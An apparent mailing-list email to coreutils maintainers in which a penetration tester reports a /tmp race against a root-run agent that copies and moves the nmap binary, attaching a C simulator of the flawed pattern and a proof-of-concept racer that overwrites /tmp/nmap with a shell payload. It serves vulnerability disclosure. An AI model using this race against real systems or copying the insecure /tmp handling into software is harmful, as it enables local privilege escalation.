Dear Coreutils Maintainers,
I am a penetration tester assessing a desktop endpoint management application 
that runs with root privileges. One of its features replaces the existing nmap 
binary with its own version. The implementation performs the following steps:

  1.
cp -f /usr/bin/nmap /tmp/nmap
  2.
mv -f /tmp/nmap /usr/bin/nmap

Both commands are executed through popen.
While testing this behavior as an unprivileged user, I attempted to exploit a 
race condition by monitoring /tmp/nmap and obtaining a write handle using 
open() when the file size exceeded a certain threshold. After several attempts, 
I was able to overwrite the beginning of the file with the following payload 
(29 bytes):
#!/bin/bash
id > /tmp/abcdef
When the endpoint agent later invoked nmap, the payload executed and wrote the 
output of id to /tmp/abcdef.
During multiple race attempts, I observed several different outcomes. In some 
cases the file size was truncated to the payload size and owned by the 
unprivileged user. In other cases the owner was root but the payload remained. 
Sometimes the final file had the full nmap size but with the first 29 bytes 
overwritten by user-controlled data. Ownership also alternated between root and 
the racing user in different runs.
I also noticed the file permissions changing unpredictably during different 
race attempts (e.g., 0644, 0640, 0400).
In another scenario, if /tmp/nmap was pre-created by the unprivileged user with 
a small file and the application was triggered, I was able to modify the file 
immediately when it was written. In this case the file consistently remained 
owned by the unprivileged user.
My system is running:
Linux pwn-land 6.19.6 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
I reproduced the same behavior on an older kernel and again after upgrading to 
the latest stable kernel.
I had a couple of questions:

  1.
Is it expected behavior that cp does not update permissions when overwriting an 
existing file created by a low-privileged user? If a privileged application 
overwrites such a file and later executes it, could that lead to a privilege 
escalation scenario?
  2.
Why does this race produce multiple observable outcomes (different ownership, 
sizes, and permissions)? Are there multiple internal stages or code paths in 
cp/mv that could explain these different states?

For easier reproduction, I have attached two small programs:

  *
A C simulator that mimics the application's behavior (should be run as root). 
The sleep calls are only to help reproduce the race.
  *
A simple proof-of-concept program that attempts the privilege escalation.

Thank you for your time and clarification.        

[undefined]

Warm Regards,

Ajay SK

Firmware Security Researcher

Payatu Security Consulting Pvt Ltd.

Reach me on: 7397338492

This email and any files transmitted with it are confidential and intended 
solely for the use of the individual or entity to whom they are addressed. If 
you have received this email in error, please notify the system manager. Please 
note that any views or opinions presented in this email are solely those of the 
author and do not necessarily represent those of the company. Finally, the 
recipient should check this email and any attachments for the presence of 
Malwares. The company accepts no liability for any damage caused by any Malware 
transmitted by this email.

#include<unistd.h>
#include<stdio.h>
int main()
{
	while(1)
	{
	FILE *fp;
	puts("The sleep of 10 seconds gonna happen now");
	sleep(5);
	fp = popen("/bin/cp -f /usr/bin/nmap /tmp/nmap","r");
	pclose(fp);
	puts("Now the sleep of 5 started");
	sleep(0.5);
	fp = popen("/bin/mv -f /tmp/nmap /usr/bin/nmap","r");
	pclose(fp);
	}
}

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <errno.h>
#include<stdlib.h>
int main(void) {
    const char *path = "/tmp/nmap";
    struct stat st;

    while (1) {
        if (lstat(path, &st) == -1) {
            /* File does not exist or error */
            continue;
        }

        if (st.st_size > 100) {
	    int fd = open(path, O_CREAT|O_TRUNC|O_WRONLY);
	    if(fd == -1)
	    {
		    perror("open");
		    printf("The permissions of this file is %o\n",st.st_mode & 0777);
                    printf("[+] Opened %s (fd=%d, size=%lld bytes)\n",
                       path, fd, (long long)st.st_size);
		    continue;

	    }
	    write(fd,"#!/bin/bash\nid > /tmp/abcdef\n",29);
	    close(fd);
	    if (fd == -1) {
                perror("open");
            } else {
		    printf("The fd of the process is %d\n",fd);
		    printf("The permissions of this file is %o\n",st.st_mode & 0777);
                    printf("[+] Opened %s (fd=%d, size=%lld bytes)\n",
                       path, fd, (long long)st.st_size);
                close(fd);
		exit(1);
            }
        }
    }
    return 0;
}

Reply via email to